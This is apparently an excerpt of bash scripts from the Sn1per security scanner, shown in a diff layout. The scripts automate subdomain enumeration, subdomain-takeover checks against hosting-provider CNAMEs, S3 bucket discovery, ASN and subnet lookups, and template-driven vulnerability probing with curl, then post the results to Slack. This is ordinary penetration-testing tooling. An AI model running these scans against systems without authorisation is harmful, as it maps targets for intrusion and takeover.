echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING MASSDNS ON SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
sort -u $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt $LOOT_DIR/domains/domains-$TARGET-dnsgen.txt $LOOT_DIR/domains/domains-$TARGET-altdns.txt $LOOT_DIR/domains/domains-$TARGET-subbrute.txt 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-alldns.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-alldns.txt 2> /dev/null
|
||||
massdns -r /usr/share/sniper/plugins/massdns/lists/resolvers.txt $LOOT_DIR/domains/domains-$TARGET-alldns.txt -o S -t A -w $LOOT_DIR/domains/domains-$TARGET-massdns.txt > /dev/null
|
||||
awk -F ". " '{print $1}' $LOOT_DIR/domains/domains-$TARGET-massdns.txt 2> /dev/null | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
#grep "CNAME" $LOOT_DIR/domains/domains-$TARGET-massdns.txt | awk '{print $3}' | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-massdns-CNAME.txt
|
||||
#wc -l $LOOT_DIR/domains/domains-$TARGET-massdns-CNAME.txt
|
||||
#grep "A " $LOOT_DIR/domains/domains-$TARGET-massdns.txt | awk '{print $3}' | grep -v "*" | sort -u > $LOOT_DIR/ips/massdns-A-records-$TARGET.txt
|
||||
#wc -l $LOOT_DIR/ips/massdns-A-records-$TARGET.txt
|
||||
#cat $LOOT_DIR/ips/massdns-A-records-$TARGET.txt >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null
|
||||
#wc -l $LOOT_DIR/ips/ips-all-unsorted.txt
|
||||
fi
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-presorted.txt $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null | sort -u 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-full.txt
|
||||
sed -ie 's/<BR>/\n/g' $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null
|
||||
mv -f $LOOT_DIR/domains/domains-$TARGET-full.txte $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-full.txt >> $LOOT_DIR/scans/updated.txt 2> /dev/null
|
||||
#rm -f $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
diff $LOOT_DIR/domains/domains_old-$TARGET.txt $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/domains/domains_new-$TARGET.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED NEW SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wc -l $LOOT_DIR/domains/domains_new-$TARGET.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains_new-$TARGET.txt 2> /dev/null
|
||||
|
||||
if [[ $(wc -c $LOOT_DIR/domains/domains_new-$TARGET.txt 2> /dev/null | awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• New domains detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/domains/domains_new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_DOMAINS_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• New domains detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/domains/domains_new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-crt.txt 2> /dev/null > /tmp/curl.out 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null >> /tmp/curl.out 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt 2> /dev/null >> /tmp/curl.out 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-subfinder.txt 2> /dev/null >> /tmp/curl.out 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null >> /tmp/curl.out 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null >> /tmp/curl.out 2> /dev/null
|
||||
cat $LOOT_DIR/domains/targets.txt 2> /dev/null >> /tmp/curl.out 2> /dev/null
|
||||
sort -u /tmp/curl.out 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-full.txt
|
||||
rm -f /tmp/curl.out 2> /dev/null
|
||||
echo -e "$RESET"
|
||||
if [ "$SPOOF_CHECK" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED CHECKING FOR EMAIL SECURITY $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python $PLUGINS_DIR/spoofcheck/spoofcheck.py $TARGET | tee $LOOT_DIR/nmap/email-$TARGET.txt 2>/dev/null
|
||||
echo ""
|
||||
if [[ "$STATIC_GREP_SEARCH" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING INTERESTING DOMAINS SEARCH $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
egrep -iE "GREP_INTERESTING_SUBDOMAINS" $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null | tee $LOOT_DIR/domains/domains_interesting-$TARGET.txt | head -n "$GREP_MAX_LINES"
|
||||
fi
|
||||
if [ "$SUBHIJACK_CHECK" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
dig $TARGET CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
|
||||
for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$a.txt 2>/dev/null; done;
|
||||
if [[ "$SUBHIJACK_CHECK" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR CNAME SUBDOMAIN HIJACKING $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep -h "CNAME" $LOOT_DIR/nmap/takeovers-* 2>/dev/null | sort -u 2> /dev/null > $LOOT_DIR/nmap/takeovers_old-all.txt
|
||||
dig $TARGET CNAME | egrep -i "netlify|anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
|
||||
for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i "netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$a.txt 2>/dev/null; done;
|
||||
grep -h "CNAME" $LOOT_DIR/nmap/takeovers-* 2>/dev/null | sort -u 2> /dev/null | awk '{print $1 " " $4 " " $5}' | grep CNAME | sort -u > $LOOT_DIR/nmap/takeovers_new-all.txt
|
||||
diff $LOOT_DIR/nmap/takeovers_old-all.txt $LOOT_DIR/nmap/takeovers_new-all.txt 2> /dev/null | grep "> " | awk '{print $2 " " $3 " " $4}' | sort -u > $LOOT_DIR/nmap/takeovers_new-diff.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_TAKEOVERS_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/takeovers_new-diff.txt"
|
||||
fi
|
||||
fi
|
||||
if [ "$SUBOVER" = "1" ]; then
|
||||
if [[ "$SUBOVER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED STARTING SUBOVER HIJACKING SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cp $LOOT_DIR/nmap/subover-$TARGET.txt $LOOT_DIR/nmap/subover_old-$TARGET.txt 2> /dev/null
|
||||
cd ~/go/src/github.com/Ice3man543/SubOver
|
||||
subover -l $LOOT_DIR/domains/domains-$TARGET-full.txt | tee $LOOT_DIR/nmap/subover-$TARGET 2>/dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/nmap/subover-$TARGET > $LOOT_DIR/nmap/subover-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/takeovers-$TARGET-subover 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/subover-$TARGET 2> /dev/null
|
||||
diff $LOOT_DIR/nmap/subover_old-$TARGET.txt $LOOT_DIR/nmap/subover-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{$1=""; print $0}' 2> /dev/null > $LOOT_DIR/nmap/subover_new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_SUBOVER_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/subover_new-$TARGET.txt"
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
if [ "$SLURP" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cd $PLUGINS_DIR/slurp/
|
||||
./slurp-linux-amd64 domain --domain $TARGET | tee $LOOT_DIR/nmap/takeovers-$TARGET-s3-buckets.txt 2>/dev/null
|
||||
if [[ "$SUBJACK" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED STARTING SUBJACK HIJACKING SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cp $LOOT_DIR/nmap/subjack-$TARGET.txt $LOOT_DIR/nmap/subjack_old-$TARGET.txt 2> /dev/null
|
||||
~/go/bin/subjack -w $LOOT_DIR/domains/domains-$TARGET-full.txt -c ~/go/src/github.com/haccer/subjack/fingerprints.json -t $THREADS -timeout 30 -o $LOOT_DIR/nmap/subjack-$TARGET.txt -a -v | egrep -v "Not Vulnerable"
|
||||
diff $LOOT_DIR/nmap/subjack_old-$TARGET.txt $LOOT_DIR/nmap/subjack-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{$1=""; print $0}' 2> /dev/null > $LOOT_DIR/nmap/subjack_new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_SUBJACK_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/subjack_new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
if [[ "$ASN_CHECK" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RETRIEVING ASN INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd $LOOT_DIR/ips/ 2>/dev/null
|
||||
asnip -t $TARGET | tee $LOOT_DIR/ips/asn-$TARGET.txt 2>/dev/null
|
||||
mv $LOOT_DIR/ips/cidrs.txt $LOOT_DIR/ips/cidrs-$TARGET.txt 2>/dev/null
|
||||
mv $LOOT_DIR/ips/ips.txt $LOOT_DIR/ips/ips-$TARGET.txt 2> /dev/null
|
||||
cd $INSTALL_DIR 2>/dev/null
|
||||
fi
|
||||
if [[ "$SUBNET_RETRIEVAL" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED STARTING SUBNET RETRIEVAL $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s -L --data "ip=$TARGET" https://2ip.me/en/services/information-service/provider-ip\?a\=act | grep -o -E '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/[0-9]{1,2}' | tee $LOOT_DIR/ips/subnets-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_SUBNETS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/ips/subnets-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$SCAN_ALL_DISCOVERED_DOMAINS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED STARTING FLYOVER SCAN OF ALL DOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
sniper -f $LOOT_DIR/domains/domains-$TARGET-full.txt -m flyover -w $WORKSPACE
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [recon] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [recon] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -0,0 +1,18 @@
|
|||
for file in `ls $INSTALL_DIR/templates/active/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
|
||||
if [[ "$SSL" == "true" ]]; then
|
||||
if [[ -z "$PORT" ]]; then
|
||||
PORT="443"
|
||||
fi
|
||||
rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$PORT-$OUTPUT_NAME.txt" 2> /dev/null
|
||||
curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "https://${TARGET}:${PORT}${URI}" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME,https://${TARGET}:${PORT}${URI},$(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$PORT-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://${TARGET}:${PORT}${URI} - EVIDENCE: $(cat /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
else
|
||||
if [[ -z "$PORT" ]]; then
|
||||
PORT="80"
|
||||
fi
|
||||
rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$PORT-$OUTPUT_NAME.txt" 2> /dev/null
|
||||
curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "http://${TARGET}:${PORT}${URI}" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME,http://${TARGET}:${PORT}${URI},$(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$PORT-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://${TARGET}:${PORT}${URI} - EVIDENCE: $(cat /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
rm -f /tmp/${TARGET}_${OUTPUT_NAME}.out 2> /dev/null
|
||||
done
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SC0PE NETWORK VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
for file in `ls $INSTALL_DIR/templates/passive/network/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
|
||||
if [[ "$SEARCH" == "negative" ]]; then
|
||||
rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null
|
||||
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out || echo "$SEVERITY, $VULN_NAME, $TARGET, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $TARGET - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
else
|
||||
rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null
|
||||
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME, $TARGET, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $FILENME - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
rm -f /tmp/${TARGET}_${OUTPUT_NAME}.out 2> /dev/null
|
||||
done
|
||||
|
||||
for file in `ls $INSTALL_DIR/templates/passive/network/recursive/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
done
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
for file in `ls $INSTALL_DIR/templates/passive/web/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
|
||||
if [[ "$SEARCH" == "negative" ]]; then
|
||||
if [[ "$SSL" == "true" ]]; then
|
||||
if [[ -z "$PORT" ]]; then
|
||||
PORT="443"
|
||||
fi
|
||||
rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null
|
||||
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out || echo "$SEVERITY, $VULN_NAME, https://$TARGET:$PORT/$URI, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: $TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
else
|
||||
if [[ -z "$PORT" ]]; then
|
||||
PORT="80"
|
||||
fi
|
||||
rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null
|
||||
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out || echo "$SEVERITY, $VULN_NAME, http://$TARGET:$PORT/$URI, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
else
|
||||
if [[ "$SSL" == "true" ]]; then
|
||||
if [[ -z "$PORT" ]]; then
|
||||
PORT="443"
|
||||
fi
|
||||
rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null
|
||||
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME, https://$TARGET:$PORT/$URI, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: $TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
else
|
||||
if [[ -z "$PORT" ]]; then
|
||||
PORT="80"
|
||||
fi
|
||||
rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null
|
||||
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME, http://$TARGET:$PORT/$URI, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
fi
|
||||
rm -f /tmp/${TARGET}_${OUTPUT_NAME}.out 2> /dev/null
|
||||
done
|
||||
|
||||
for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
done
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
echo "====================================================================================" | tee $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
CRITICAL_VULNS=$(egrep CRITICAL $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
|
||||
HIGH_VULNS=$(egrep HIGH $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
|
||||
MEDIUM_VULNS=$(egrep MEDIUM $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
|
||||
LOW_VULNS=$(egrep LOW $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
|
||||
INFO_VULNS=$(egrep INFO $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
|
||||
VULN_SCORE=$(($CRITICAL_VULNS*5+$HIGH_VULNS*4+$MEDIUM_VULNS*3+$LOW_VULNS*2+$INFO_VULNS*1))
|
||||
echo "•?((¯°·..• Sc0pe Vulnerability Report by @xer0dayz •._.·°¯))؟• " | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
echo "Critical: $CRITICAL_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
echo "High: $HIGH_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
